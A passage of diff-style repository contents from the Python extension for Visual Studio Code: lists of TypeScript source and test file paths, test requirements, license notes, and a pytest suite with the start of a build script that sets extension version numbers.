| "src/client/debugger/extension/configuration/configurationProviderUtils.ts", | ||
| "src/client/debugger/extension/configuration/pythonV2Provider.ts", | ||
| "src/client/debugger/extension/configuration/types.ts", | ||
| "src/client/debugger/extension/hooks/childProcessAttachHandler.ts", | ||
| "src/client/debugger/extension/hooks/childProcessAttachService.ts", | ||
| "src/client/debugger/extension/hooks/constants.ts", | ||
| "src/client/debugger/extension/hooks/eventHandlerDispatcher.ts", | ||
| "src/client/debugger/extension/hooks/processTerminationHandler.ts", | ||
| "src/client/debugger/extension/hooks/processTerminationService.ts", | ||
| "src/client/debugger/extension/hooks/types.ts", | ||
| "src/client/debugger/extension/serviceRegistry.ts", | ||
| "src/client/debugger/extension/types.ts", | ||
| "src/client/debugger/types.ts", | ||
| "src/client/extension.ts", | ||
| "src/client/formatters/autoPep8Formatter.ts", | ||
| "src/client/formatters/baseFormatter.ts", | ||
| "src/client/formatters/blackFormatter.ts", | ||
| "src/client/formatters/dummyFormatter.ts", | ||
| "src/client/formatters/helper.ts", | ||
| "src/client/formatters/lineFormatter.ts", | ||
| "src/client/formatters/serviceRegistry.ts", | ||
| "src/client/formatters/types.ts", | ||
| "src/client/formatters/yapfFormatter.ts", | ||
| "src/client/interpreter/configuration/interpreterComparer.ts", | ||
| "src/client/interpreter/configuration/interpreterSelector.ts", | ||
| "src/client/interpreter/configuration/pythonPathUpdaterService.ts", | ||
| "src/client/interpreter/configuration/pythonPathUpdaterServiceFactory.ts", | ||
| "src/client/interpreter/configuration/services/globalUpdaterService.ts", | ||
| "src/client/interpreter/configuration/services/workspaceFolderUpdaterService.ts", | ||
| "src/client/interpreter/configuration/services/workspaceUpdaterService.ts", | ||
| "src/client/interpreter/configuration/types.ts", | ||
| "src/client/interpreter/contracts.ts", | ||
| "src/client/interpreter/display/index.ts", | ||
| "src/client/interpreter/helpers.ts", | ||
| "src/client/interpreter/interpreterService.ts", | ||
| "src/client/interpreter/interpreterVersion.ts", | ||
| "src/client/interpreter/locators/helpers.ts", | ||
| "src/client/interpreter/locators/index.ts", | ||
| "src/client/interpreter/locators/services/baseVirtualEnvService.ts", | ||
| "src/client/interpreter/locators/services/cacheableLocatorService.ts", | ||
| "src/client/interpreter/locators/services/conda.ts", | ||
| "src/client/interpreter/locators/services/condaEnvFileService.ts", | ||
| "src/client/interpreter/locators/services/condaEnvService.ts", | ||
| "src/client/interpreter/locators/services/condaHelper.ts", | ||
| "src/client/interpreter/locators/services/condaService.ts", | ||
| "src/client/interpreter/locators/services/currentPathService.ts", | ||
| "src/client/interpreter/locators/services/globalVirtualEnvService.ts", | ||
| "src/client/interpreter/locators/services/KnownPathsService.ts", | ||
| "src/client/interpreter/locators/services/pipEnvService.ts", | ||
| "src/client/interpreter/locators/services/windowsRegistryService.ts", | ||
| "src/client/interpreter/locators/services/workspaceVirtualEnvService.ts", | ||
| "src/client/interpreter/serviceRegistry.ts", | ||
| "src/client/interpreter/virtualEnvs/index.ts", | ||
| "src/client/interpreter/virtualEnvs/types.ts", | ||
| "src/client/ioc/container.ts", | ||
| "src/client/ioc/index.ts", | ||
| "src/client/ioc/serviceManager.ts", | ||
| "src/client/ioc/types.ts", | ||
| "src/client/language/braceCounter.ts", | ||
| "src/client/language/characters.ts", | ||
| "src/client/language/characterStream.ts", | ||
| "src/client/language/iterableTextRange.ts", | ||
| "src/client/language/textBuilder.ts", | ||
| "src/client/language/textIterator.ts", | ||
| "src/client/language/textRangeCollection.ts", | ||
| "src/client/language/tokenizer.ts", | ||
| "src/client/language/types.ts", | ||
| "src/client/language/unicode.ts", | ||
| "src/client/languageServices/jediProxyFactory.ts", | ||
| "src/client/languageServices/proposeLanguageServerBanner.ts", | ||
| "src/client/linters/bandit.ts", | ||
| "src/client/linters/baseLinter.ts", | ||
| "src/client/linters/errorHandlers/baseErrorHandler.ts", | ||
| "src/client/linters/errorHandlers/errorHandler.ts", | ||
| "src/client/linters/errorHandlers/notInstalled.ts", | ||
| "src/client/linters/errorHandlers/standard.ts", | ||
| "src/client/linters/flake8.ts", | ||
| "src/client/linters/linterCommands.ts", | ||
| "src/client/linters/linterInfo.ts", | ||
| "src/client/linters/linterManager.ts", | ||
| "src/client/linters/lintingEngine.ts", | ||
| "src/client/linters/mypy.ts", | ||
| "src/client/linters/pycodestyle.ts", | ||
| "src/client/linters/prospector.ts", | ||
| "src/client/linters/pydocstyle.ts", | ||
| "src/client/linters/pylama.ts", | ||
| "src/client/linters/pylint.ts", | ||
| "src/client/linters/serviceRegistry.ts", | ||
| "src/client/linters/types.ts", | ||
| "src/client/providers/codeActionsProvider.ts", | ||
| "src/client/providers/completionProvider.ts", | ||
| "src/client/providers/completionSource.ts", | ||
| "src/client/providers/definitionProvider.ts", | ||
| "src/client/providers/docStringFoldingProvider.ts", | ||
| "src/client/providers/formatProvider.ts", | ||
| "src/client/providers/hoverProvider.ts", | ||
| "src/client/providers/importSortProvider.ts", | ||
| "src/client/providers/itemInfoSource.ts", | ||
| "src/client/providers/jediProxy.ts", | ||
| "src/client/providers/linterProvider.ts", | ||
| "src/client/providers/objectDefinitionProvider.ts", | ||
| "src/client/providers/providerUtilities.ts", | ||
| "src/client/providers/referenceProvider.ts", | ||
| "src/client/providers/renameProvider.ts", | ||
| "src/client/providers/replProvider.ts", | ||
| "src/client/providers/serviceRegistry.ts", | ||
| "src/client/providers/signatureProvider.ts", | ||
| "src/client/providers/simpleRefactorProvider.ts", | ||
| "src/client/providers/symbolProvider.ts", | ||
| "src/client/providers/terminalProvider.ts", | ||
| "src/client/providers/types.ts", | ||
| "src/client/refactor/contracts.ts", | ||
| "src/client/refactor/proxy.ts", | ||
| "src/client/telemetry/constants.ts", | ||
| "src/client/telemetry/index.ts", | ||
| "src/client/telemetry/types.ts", | ||
| "src/client/telemetry/vscode-extension-telemetry.d.ts", | ||
| "src/client/terminals/activation.ts", | ||
| "src/client/terminals/codeExecution/codeExecutionManager.ts", | ||
| "src/client/terminals/codeExecution/djangoContext.ts", | ||
| "src/client/terminals/codeExecution/djangoShellCodeExecution.ts", | ||
| "src/client/terminals/codeExecution/helper.ts", | ||
| "src/client/terminals/codeExecution/repl.ts", | ||
| "src/client/terminals/codeExecution/terminalCodeExecution.ts", | ||
| "src/client/terminals/serviceRegistry.ts", | ||
| "src/client/terminals/types.ts", | ||
| "src/client/typeFormatters/blockFormatProvider.ts", | ||
| "src/client/typeFormatters/codeBlockFormatProvider.ts", | ||
| "src/client/typeFormatters/contracts.ts", | ||
| "src/client/typeFormatters/dispatcher.ts", | ||
| "src/client/typeFormatters/onEnterFormatter.ts", | ||
| "src/client/testing/codeLenses/main.ts", | ||
| "src/client/testing/codeLenses/testFiles.ts", | ||
| "src/client/testing/common/argumentsHelper.ts", | ||
| "src/client/testing/common/constants.ts", | ||
| "src/client/testing/common/debugLauncher.ts", | ||
| "src/client/testing/common/managers/baseTestManager.ts", | ||
| "src/client/testing/common/managers/testConfigurationManager.ts", | ||
| "src/client/testing/common/runner.ts", | ||
| "src/client/testing/common/services/configSettingService.ts", | ||
| "src/client/testing/common/services/storageService.ts", | ||
| "src/client/testing/common/services/testManagerService.ts", | ||
| "src/client/testing/common/services/testResultsService.ts", | ||
| "src/client/testing/common/services/workspaceTestManagerService.ts", | ||
| "src/client/testing/common/testUtils.ts", | ||
| "src/client/testing/common/testVisitors/flatteningVisitor.ts", | ||
| "src/client/testing/common/testVisitors/folderGenerationVisitor.ts", | ||
| "src/client/testing/common/testVisitors/resultResetVisitor.ts", | ||
| "src/client/testing/common/types.ts", | ||
| "src/client/testing/common/xUnitParser.ts", | ||
| "src/client/testing/configuration.ts", | ||
| "src/client/testing/configurationFactory.ts", | ||
| "src/client/testing/display/main.ts", | ||
| "src/client/testing/display/picker.ts", | ||
| "src/client/testing/main.ts", | ||
| "src/client/testing/nosetest/main.ts", | ||
| "src/client/testing/nosetest/runner.ts", | ||
| "src/client/testing/nosetest/services/argsService.ts", | ||
| "src/client/testing/nosetest/services/discoveryService.ts", | ||
| "src/client/testing/nosetest/services/parserService.ts", | ||
| "src/client/testing/nosetest/testConfigurationManager.ts", | ||
| "src/client/testing/pytest/main.ts", | ||
| "src/client/testing/pytest/runner.ts", | ||
| "src/client/testing/pytest/services/argsService.ts", | ||
| "src/client/testing/pytest/services/discoveryService.ts", | ||
| "src/client/testing/pytest/services/parserService.ts", | ||
| "src/client/testing/pytest/testConfigurationManager.ts", | ||
| "src/client/testing/serviceRegistry.ts", | ||
| "src/client/testing/types.ts", | ||
| "src/client/testing/unittest/helper.ts", | ||
| "src/client/testing/unittest/main.ts", | ||
| "src/client/testing/unittest/runner.ts", | ||
| "src/client/testing/unittest/services/argsService.ts", | ||
| "src/client/testing/unittest/services/discoveryService.ts", | ||
| "src/client/testing/unittest/services/parserService.ts", | ||
| "src/client/testing/unittest/socketServer.ts", | ||
| "src/client/testing/unittest/testConfigurationManager.ts", | ||
| "src/client/workspaceSymbols/contracts.ts", | ||
| "src/client/workspaceSymbols/generator.ts", | ||
| "src/client/workspaceSymbols/main.ts", | ||
| "src/client/workspaceSymbols/parser.ts", | ||
| "src/client/workspaceSymbols/provider.ts", | ||
| "src/server/dummy.ts", | ||
| "src/test/aaFirstTest/aaFirstTest.test.ts", | ||
| "src/test/activation/activationService.unit.test.ts", | ||
| "src/test/activation/downloadChannelRules.unit.test.ts", | ||
| "src/test/activation/downloader.unit.test.ts", | ||
| "src/test/activation/excludeFiles.ls.test.ts", | ||
| "src/test/activation/languageServer/languageServer.unit.test.ts", | ||
| "src/test/activation/languageServer/languageServerFolderService.unit.test.ts", | ||
| "src/test/activation/languageServer/languageServerPackageRepository.unit.test.ts", | ||
| "src/test/activation/languageServer/languageServerPackageService.test.ts", | ||
| "src/test/activation/languageServer/languageServerPackageService.unit.test.ts", | ||
| "src/test/activation/platformData.unit.test.ts", | ||
| "src/test/application/diagnostics/applicationDiagnostics.unit.test.ts", | ||
| "src/test/application/diagnostics/checks/envPathVariable.unit.test.ts", | ||
| "src/test/application/diagnostics/checks/invalidPythonPathInDebugger.unit.test.ts", | ||
| "src/test/application/diagnostics/checks/powerShellActivation.unit.test.ts", | ||
| "src/test/application/diagnostics/checks/pythonInterpreter.unit.test.ts", | ||
| "src/test/application/diagnostics/commands/factory.unit.test.ts", | ||
| "src/test/application/diagnostics/commands/ignore.unit.test.ts", | ||
| "src/test/application/diagnostics/commands/launchBrowser.unit.test.ts", | ||
| "src/test/application/diagnostics/filter.unit.test.ts", | ||
| "src/test/application/diagnostics/promptHandler.unit.test.ts", | ||
| "src/test/autocomplete/base.test.ts", | ||
| "src/test/autocomplete/pep484.test.ts", | ||
| "src/test/autocomplete/pep526.test.ts", | ||
| "src/test/ciConstants.ts", | ||
| "src/test/common.ts", | ||
| "src/test/common/configSettings.multiroot.test.ts", | ||
| "src/test/common/configSettings.test.ts", | ||
| "src/test/common/configSettings.unit.test.ts", | ||
| "src/test/common/configuration/service.test.ts", | ||
| "src/test/common/extensions.unit.test.ts", | ||
| "src/test/common/featureDeprecationManager.unit.test.ts", | ||
| "src/test/common/helpers.test.ts", | ||
| "src/test/common/installer.test.ts", | ||
| "src/test/common/installer/installer.invalidPath.unit.test.ts", | ||
| "src/test/common/installer/installer.unit.test.ts", | ||
| "src/test/common/installer/moduleInstaller.unit.test.ts", | ||
| "src/test/common/installer/productPath.unit.test.ts", | ||
| "src/test/common/localize.unit.test.ts", | ||
| "src/test/common/misc.test.ts", | ||
| "src/test/common/moduleInstaller.test.ts", | ||
| "src/test/common/net/httpClient.unit.test.ts", | ||
| "src/test/common/nuget/azureBobStoreRepository.test.ts", | ||
| "src/test/common/nuget/nugetRepository.unit.test.ts", | ||
| "src/test/common/nuget/nugetService.unit.test.ts", | ||
| "src/test/common/platform/filesystem.unit.test.ts", | ||
| "src/test/common/platform/osinfo.unit.test.ts", | ||
| "src/test/common/platform/platformService.unit.test.ts", | ||
| "src/test/common/process/currentProcess.test.ts", | ||
| "src/test/common/process/decoder.test.ts", | ||
| "src/test/common/process/execFactory.test.ts", | ||
| "src/test/common/process/proc.exec.test.ts", | ||
| "src/test/common/process/proc.observable.test.ts", | ||
| "src/test/common/process/proc.unit.test.ts", | ||
| "src/test/common/process/pythonProc.simple.multiroot.test.ts", | ||
| "src/test/common/socketCallbackHandler.test.ts", | ||
| "src/test/common/socketStream.test.ts", | ||
| "src/test/common/terminals/activation.bash.unit.test.ts", | ||
| "src/test/common/terminals/activation.commandPrompt.unit.test.ts", | ||
| "src/test/common/terminals/activation.nushell.unit.test.ts", | ||
| "src/test/common/terminals/activation.conda.unit.test.ts", | ||
| "src/test/common/terminals/activation.unit.test.ts", | ||
| "src/test/common/terminals/activator/base.unit.test.ts", | ||
| "src/test/common/terminals/activator/index.unit.test.ts", | ||
| "src/test/common/terminals/activator/powerShellFailedHandler.unit.test.ts", | ||
| "src/test/common/terminals/commandPrompt.unit.test.ts", | ||
| "src/test/common/terminals/factory.unit.test.ts", | ||
| "src/test/common/terminals/helper.activation.unit.test.ts", | ||
| "src/test/common/terminals/helper.unit.test.ts", | ||
| "src/test/common/terminals/pyenvActivationProvider.unit.test.ts", | ||
| "src/test/common/terminals/service.unit.test.ts", | ||
| "src/test/common/utils/async.unit.test.ts", | ||
| "src/test/common/utils/platform.unit.test.ts", | ||
| "src/test/common/utils/string.unit.test.ts", | ||
| "src/test/common/utils/text.unit.test.ts", | ||
| "src/test/common/utils/version.unit.test.ts", | ||
| "src/test/common/variables/envVarsProvider.multiroot.test.ts", | ||
| "src/test/common/variables/envVarsService.test.ts", | ||
| "src/test/configuration/interpreterSelector.unit.test.ts", | ||
| "src/test/constants.ts", | ||
| "src/test/core.ts", | ||
| "src/test/debugger/capabilities.test.ts", | ||
| "src/test/debugger/common/constants.ts", | ||
| "src/test/debugger/common/debugStreamProvider.test.ts", | ||
| "src/test/debugger/common/protocoloLogger.test.ts", | ||
| "src/test/debugger/common/protocolparser.test.ts", | ||
| "src/test/debugger/common/protocolWriter.test.ts", | ||
| "src/test/debugger/debugClient.ts", | ||
| "src/test/debugger/envVars.test.ts", | ||
| "src/test/debugger/extension/banner.unit.test.ts", | ||
| "src/test/debugger/extension/configProvider/provider.attach.unit.test.ts", | ||
| "src/test/debugger/extension/configProvider/provider.unit.test.ts", | ||
| "src/test/debugger/extension/hooks/childProcessAttachHandler.unit.test.ts", | ||
| "src/test/debugger/extension/hooks/childProcessAttachService.unit.test.ts", | ||
| "src/test/debugger/extension/hooks/processTerminationHandler.unit.test.ts", | ||
| "src/test/debugger/extension/hooks/processTerminationService.test.ts", | ||
| "src/test/debugger/launcherScriptProvider.unit.test.ts", | ||
| "src/test/debugger/misc.test.ts", | ||
| "src/test/debugger/portAndHost.test.ts", | ||
| "src/test/debugger/run.test.ts", | ||
| "src/test/debugger/utils.ts", | ||
| "src/test/debuggerTest.ts", | ||
| "src/test/definitions/hover.jedi.test.ts", | ||
| "src/test/definitions/hover.ls.test.ts", | ||
| "src/test/definitions/navigation.test.ts", | ||
| "src/test/definitions/parallel.jedi.test.ts", | ||
| "src/test/definitions/parallel.ls.test.ts", | ||
| "src/test/format/extension.dispatch.test.ts", | ||
| "src/test/format/extension.format.test.ts", | ||
| "src/test/format/extension.formatOnSave.test.ts", | ||
| "src/test/format/extension.lineFormatter.test.ts", | ||
| "src/test/format/extension.onEnterFormat.test.ts", | ||
| "src/test/format/extension.onTypeFormat.test.ts", | ||
| "src/test/format/extension.sort.test.ts", | ||
| "src/test/format/format.helper.test.ts", | ||
| "src/test/index.ts", | ||
| "src/test/initialize.ts", | ||
| "src/test/install/channelManager.channels.test.ts", | ||
| "src/test/install/channelManager.messages.test.ts", | ||
| "src/test/interpreters/condaEnvFileService.unit.test.ts", | ||
| "src/test/interpreters/condaEnvService.unit.test.ts", | ||
| "src/test/interpreters/condaHelper.unit.test.ts", | ||
| "src/test/interpreters/condaService.unit.test.ts", | ||
| "src/test/interpreters/currentPathService.unit.test.ts", | ||
| "src/test/interpreters/display.unit.test.ts", | ||
| "src/test/interpreters/helper.unit.test.ts", | ||
| "src/test/interpreters/interpreterService.unit.test.ts", | ||
| "src/test/interpreters/interpreterVersion.unit.test.ts", | ||
| "src/test/interpreters/knownPathService.unit.test.ts", | ||
| "src/test/interpreters/locators/helpers.unit.test.ts", | ||
| "src/test/interpreters/locators/index.unit.test.ts", | ||
| "src/test/interpreters/mocks.ts", | ||
| "src/test/interpreters/pipEnvService.unit.test.ts", | ||
| "src/test/interpreters/pythonPathUpdater.test.ts", | ||
| "src/test/interpreters/venv.unit.test.ts", | ||
| "src/test/interpreters/virtualEnvManager.unit.test.ts", | ||
| "src/test/interpreters/virtualEnvs/index.unit.test.ts", | ||
| "src/test/interpreters/windowsRegistryService.unit.test.ts", | ||
| "src/test/language/characterStream.test.ts", | ||
| "src/test/language/textIterator.test.ts", | ||
| "src/test/language/textRange.test.ts", | ||
| "src/test/language/textRangeCollection.test.ts", | ||
| "src/test/language/tokenizer.test.ts", | ||
| "src/test/linters/lint.args.test.ts", | ||
| "src/test/linters/lint.commands.test.ts", | ||
| "src/test/linters/lint.manager.test.ts", | ||
| "src/test/linters/lint.multiroot.test.ts", | ||
| "src/test/linters/lint.provider.test.ts", | ||
| "src/test/linters/lint.test.ts", | ||
| "src/test/linters/lintengine.test.ts", | ||
| "src/test/linters/mypy.unit.test.ts", | ||
| "src/test/linters/pylint.test.ts", | ||
| "src/test/markdown/restTextConverter.test.ts", | ||
| "src/test/mockClasses.ts", | ||
| "src/test/mocks/mementos.ts", | ||
| "src/test/mocks/moduleInstaller.ts", | ||
| "src/test/mocks/proc.ts", | ||
| "src/test/mocks/process.ts", | ||
| "src/test/mocks/vsc/arrays.ts", | ||
| "src/test/mocks/vsc/extHostedTypes.ts", | ||
| "src/test/mocks/vsc/htmlContent.ts", | ||
| "src/test/mocks/vsc/index.ts", | ||
| "src/test/mocks/vsc/position.ts", | ||
| "src/test/mocks/vsc/range.ts", | ||
| "src/test/mocks/vsc/selection.ts", | ||
| "src/test/mocks/vsc/strings.ts", | ||
| "src/test/mocks/vsc/telemetryReporter.ts", | ||
| "src/test/mocks/vsc/uri.ts", | ||
| "src/test/multiRootTest.ts", | ||
| "src/test/performance/load.perf.test.ts", | ||
| "src/test/performanceTest.ts", | ||
| "src/test/providers/codeActionsProvider.test.ts", | ||
| "src/test/providers/completionSource.unit.test.ts", | ||
| "src/test/providers/foldingProvider.test.ts", | ||
| "src/test/providers/importSortProvider.unit.test.ts", | ||
| "src/test/providers/pythonSignatureProvider.unit.test.ts", | ||
| "src/test/providers/repl.unit.test.ts", | ||
| "src/test/providers/shebangCodeLenseProvider.test.ts", | ||
| "src/test/providers/symbolProvider.unit.test.ts", | ||
| "src/test/providers/terminal.unit.test.ts", | ||
| "src/test/pythonFiles/formatting/dummy.ts", | ||
| "src/test/refactor/extension.refactor.extract.method.test.ts", | ||
| "src/test/refactor/extension.refactor.extract.var.test.ts", | ||
| "src/test/refactor/rename.test.ts", | ||
| "src/test/serviceRegistry.ts", | ||
| "src/test/signature/signature.jedi.test.ts", | ||
| "src/test/signature/signature.ls.test.ts", | ||
| "src/test/standardTest.ts", | ||
| "src/test/stub.ts", | ||
| "src/test/terminals/codeExecution/codeExecutionManager.unit.test.ts", | ||
| "src/test/terminals/codeExecution/djangoShellCodeExect.unit.test.ts", | ||
| "src/test/terminals/codeExecution/helper.test.ts", | ||
| "src/test/terminals/codeExecution/terminalCodeExec.unit.test.ts", | ||
| "src/test/testRunner.ts", | ||
| "src/test/textUtils.ts", | ||
| "src/test/unittests.ts", | ||
| "src/test/testing/argsService.test.ts", | ||
| "src/test/testing/banners/languageServerSurvey.unit.test.ts", | ||
| "src/test/testing/banners/proposeNewLanguageServerBanner.unit.test.ts", | ||
| "src/test/testing/common/argsHelper.unit.test.ts", | ||
| "src/test/testing/common/debugLauncher.test.ts", | ||
| "src/test/testing/common/managers/testConfigurationManager.unit.test.ts", | ||
| "src/test/testing/common/services/configSettingService.unit.test.ts", | ||
| "src/test/testing/configuration.unit.test.ts", | ||
| "src/test/testing/configurationFactory.unit.test.ts", | ||
| "src/test/testing/debugger.test.ts", | ||
| "src/test/testing/display/main.test.ts", | ||
| "src/test/testing/helper.ts", | ||
| "src/test/testing/mocks.ts", | ||
| "src/test/testing/nosetest/nosetest.argsService.unit.test.ts", | ||
| "src/test/testing/nosetest/nosetest.discovery.unit.test.ts", | ||
| "src/test/testing/nosetest/nosetest.disovery.test.ts", | ||
| "src/test/testing/nosetest/nosetest.run.test.ts", | ||
| "src/test/testing/nosetest/nosetest.test.ts", | ||
| "src/test/testing/pytest/pytest_unittest_parser_data.ts", | ||
| "src/test/testing/pytest/pytest.argsService.unit.test.ts", | ||
| "src/test/testing/pytest/pytest.discovery.test.ts", | ||
| "src/test/testing/pytest/pytest.discovery.unit.test.ts", | ||
| "src/test/testing/pytest/pytest.run.test.ts", | ||
| "src/test/testing/pytest/pytest.test.ts", | ||
| "src/test/testing/pytest/pytest.testparser.unit.test.ts", | ||
| "src/test/testing/rediscover.test.ts", | ||
| "src/test/testing/serviceRegistry.ts", | ||
| "src/test/testing/stoppingDiscoverAndTest.test.ts", | ||
| "src/test/testing/unittest/unittest.argsService.unit.test.ts", | ||
| "src/test/testing/unittest/unittest.discovery.test.ts", | ||
| "src/test/testing/unittest/unittest.discovery.unit.test.ts", | ||
| "src/test/testing/unittest/unittest.run.test.ts", | ||
| "src/test/testing/unittest/unittest.test.ts", | ||
| "src/test/vscode-mock.ts", | ||
| "src/test/workspaceSymbols/common.ts", | ||
| "src/test/workspaceSymbols/multiroot.test.ts", | ||
| "src/test/workspaceSymbols/standard.test.ts" | ||
| ] |
| /*--------------------------------------------------------------------------------------------- | ||
| * Copyright (c) Microsoft Corporation. All rights reserved. | ||
| * Licensed under the MIT License. See License.txt in the project root for license information. | ||
| *--------------------------------------------------------------------------------------------*/ | ||
| process.exitCode = 1; |
| # List of requirements for functional tests | ||
| versioneer | ||
| numpy |
| PLEASE NOTE: This is the license for the Python extension for Visual Studio Code. The Python extension automatically installs other extensions as optional dependencies, which can be uninstalled at any time. These extensions have separate licenses: | ||
| - The Jupyter extension is released under an MIT License: | ||
| https://marketplace.visualstudio.com/items/ms-toolsai.jupyter/license | ||
| - The Pylance extension is only available in binary form and is released under a Microsoft proprietary license, the terms of which are available here: | ||
| https://marketplace.visualstudio.com/items/ms-python.vscode-pylance/license | ||
| ------------------------------------------------------------------------------ |
| # Copyright (c) Microsoft Corporation. All rights reserved. | ||
| # Licensed under the MIT License. | ||
| import datetime | ||
| import json | ||
| import freezegun | ||
| import pytest | ||
| import update_ext_version | ||
| CURRENT_YEAR = datetime.datetime.now().year | ||
| TEST_DATETIME = f"{CURRENT_YEAR}-03-14 01:23:45" | ||
| # The build ID is calculated via: | ||
| # "1" + datetime.datetime.strptime(TEST_DATETIME,"%Y-%m-%d %H:%M:%S").strftime('%j%H%M') | ||
| EXPECTED_BUILD_ID = "10730123" | ||
| def create_package_json(directory, version): | ||
| """Create `package.json` in `directory` with a specified version of `version`.""" | ||
| package_json = directory / "package.json" | ||
| package_json.write_text(json.dumps({"version": version}), encoding="utf-8") | ||
| return package_json | ||
| def run_test(tmp_path, version, args, expected): | ||
| package_json = create_package_json(tmp_path, version) | ||
| update_ext_version.main(package_json, args) | ||
| package = json.loads(package_json.read_text(encoding="utf-8")) | ||
| assert expected == update_ext_version.parse_version(package["version"]) | ||
| @pytest.mark.parametrize( | ||
| "version, args", | ||
| [ | ||
| ("2000.1.0", []), # Wrong year for CalVer | ||
| (f"{CURRENT_YEAR}.0.0-rc", []), | ||
| (f"{CURRENT_YEAR}.1.0-rc", ["--release"]), | ||
| (f"{CURRENT_YEAR}.0.0-rc", ["--release", "--build-id", "-1"]), | ||
| ( | ||
| f"{CURRENT_YEAR}.0.0-rc", | ||
| ["--release", "--for-publishing", "--build-id", "-1"], | ||
| ), | ||
| ( | ||
| f"{CURRENT_YEAR}.0.0-rc", | ||
| ["--release", "--for-publishing", "--build-id", "999999999999"], | ||
| ), | ||
| (f"{CURRENT_YEAR}.1.0-rc", ["--build-id", "-1"]), | ||
| (f"{CURRENT_YEAR}.1.0-rc", ["--for-publishing", "--build-id", "-1"]), | ||
| (f"{CURRENT_YEAR}.1.0-rc", ["--for-publishing", "--build-id", "999999999999"]), | ||
| ], | ||
| ) | ||
| def test_invalid_args(tmp_path, version, args): | ||
| with pytest.raises(ValueError): | ||
| run_test(tmp_path, version, args, None) | ||
| @pytest.mark.parametrize( | ||
| "version, args, expected", | ||
| [ | ||
| ( | ||
| f"{CURRENT_YEAR}.1.0-rc", | ||
| ["--build-id", "12345"], | ||
| (f"{CURRENT_YEAR}", "1", "12345", "rc"), | ||
| ), | ||
| ( | ||
| f"{CURRENT_YEAR}.0.0-rc", | ||
| ["--release", "--build-id", "12345"], | ||
| (f"{CURRENT_YEAR}", "0", "12345", ""), | ||
| ), | ||
| ( | ||
| f"{CURRENT_YEAR}.1.0-rc", | ||
| ["--for-publishing", "--build-id", "12345"], | ||
| (f"{CURRENT_YEAR}", "1", "12345", ""), | ||
| ), | ||
| ( | ||
| f"{CURRENT_YEAR}.0.0-rc", | ||
| ["--release", "--for-publishing", "--build-id", "12345"], | ||
| (f"{CURRENT_YEAR}", "0", "12345", ""), | ||
| ), | ||
| ( | ||
| f"{CURRENT_YEAR}.0.0-rc", | ||
| ["--release", "--build-id", "999999999999"], | ||
| (f"{CURRENT_YEAR}", "0", "999999999999", ""), | ||
| ), | ||
| ( | ||
| f"{CURRENT_YEAR}.1.0-rc", | ||
| ["--build-id", "999999999999"], | ||
| (f"{CURRENT_YEAR}", "1", "999999999999", "rc"), | ||
| ), | ||
| ( | ||
| f"{CURRENT_YEAR}.1.0-rc", | ||
| [], | ||
| (f"{CURRENT_YEAR}", "1", EXPECTED_BUILD_ID, "rc"), | ||
| ), | ||
| ( | ||
| f"{CURRENT_YEAR}.0.0-rc", | ||
| ["--release"], | ||
| (f"{CURRENT_YEAR}", "0", "0", ""), | ||
| ), | ||
| ( | ||
| f"{CURRENT_YEAR}.1.0-rc", | ||
| ["--for-publishing"], | ||
| (f"{CURRENT_YEAR}", "1", EXPECTED_BUILD_ID, ""), | ||
| ), | ||
| ( | ||
| f"{CURRENT_YEAR}.0.0-rc", | ||
| ["--release", "--for-publishing"], | ||
| (f"{CURRENT_YEAR}", "0", "0", ""), | ||
| ), | ||
| ( | ||
| f"{CURRENT_YEAR}.0.0-rc", | ||
| ["--release"], | ||
| (f"{CURRENT_YEAR}", "0", "0", ""), | ||
| ), | ||
| ( | ||
| f"{CURRENT_YEAR}.1.0-rc", | ||
| [], | ||
| (f"{CURRENT_YEAR}", "1", EXPECTED_BUILD_ID, "rc"), | ||
| ), | ||
| ], | ||
| ) | ||
| @freezegun.freeze_time(f"{CURRENT_YEAR}-03-14 01:23:45") | ||
| def test_update_ext_version(tmp_path, version, args, expected): | ||
| run_test(tmp_path, version, args, expected) |
| # pin setoptconf to prevent issue with 'use_2to3' | ||
| setoptconf==0.3.0 | ||
| flake8 | ||
| bandit | ||
| pylint | ||
| pycodestyle | ||
| pydocstyle | ||
| prospector | ||
| pytest | ||
| flask | ||
| fastapi | ||
| uvicorn | ||
| django | ||
| # Integrated TensorBoard tests | ||
| tensorboard | ||
| torch-tb-profiler | ||
| # extension build tests | ||
| freezegun |
| [ | ||
| "src/client/activation/activationService.ts", | ||
| "src/client/common/installer/channelManager.ts", | ||
| "src/client/common/installer/moduleInstaller.ts", | ||
| "src/client/common/installer/productInstaller.ts", | ||
| "src/client/debugger/extension/hooks/childProcessAttachService.ts", | ||
| "src/client/formatters/baseFormatter.ts", | ||
| "src/client/formatters/blackFormatter.ts", | ||
| "src/client/interpreter/configuration/pythonPathUpdaterService.ts", | ||
| "src/client/linters/errorHandlers/notInstalled.ts", | ||
| "src/client/linters/errorHandlers/standard.ts", | ||
| "src/client/linters/linterCommands.ts", | ||
| "src/client/linters/prospector.ts", | ||
| "src/client/providers/importSortProvider.ts", | ||
| "src/client/providers/objectDefinitionProvider.ts", | ||
| "src/client/providers/simpleRefactorProvider.ts", | ||
| "src/client/pythonEnvironments/discovery/locators/services/pipEnvService.ts", | ||
| "src/client/terminals/codeExecution/helper.ts", | ||
| "src/client/testing/common/debugLauncher.ts", | ||
| "src/client/testing/common/managers/baseTestManager.ts", | ||
| "src/client/testing/common/services/discovery.ts", | ||
| "src/client/testing/configuration.ts", | ||
| "src/client/testing/display/main.ts", | ||
| "src/client/testing/main.ts", | ||
| "src/client/workspaceSymbols/generator.ts" | ||
| ] |
| # Copyright (c) Microsoft Corporation. All rights reserved. | ||
| # Licensed under the MIT License. | ||
| import argparse | ||
| import datetime | ||
| import json | ||
| import pathlib | ||
| import sys | ||
| from typing import Sequence, Tuple, Union | ||
| EXT_ROOT = pathlib.Path(__file__).parent.parent | ||
| PACKAGE_JSON_PATH = EXT_ROOT / "package.json" | ||
| def build_arg_parse() -> argparse.ArgumentParser: | ||
| """Builds the arguments parser.""" | ||
| parser = argparse.ArgumentParser( | ||
| description="This script updates the python extension micro version based on the release or pre-release channel." | ||
| ) | ||
| parser.add_argument( | ||
| "--release", | ||
| action="store_true", | ||
| help="Treats the current build as a release build.", | ||
| ) | ||
| parser.add_argument( | ||
| "--build-id", | ||
| action="store", | ||
| type=int, | ||
| default=None, | ||
| help="If present, will be used as a micro version.", | ||
| required=False, | ||
| ) | ||
| parser.add_argument( | ||
| "--for-publishing", | ||
| action="store_true", | ||
| help="Removes `-dev` or `-rc` suffix.", | ||
| ) | ||
| return parser | ||
| def is_even(v: Union[int, str]) -> bool: | ||
| """Returns True if `v` is even.""" | ||
| return not int(v) % 2 | ||
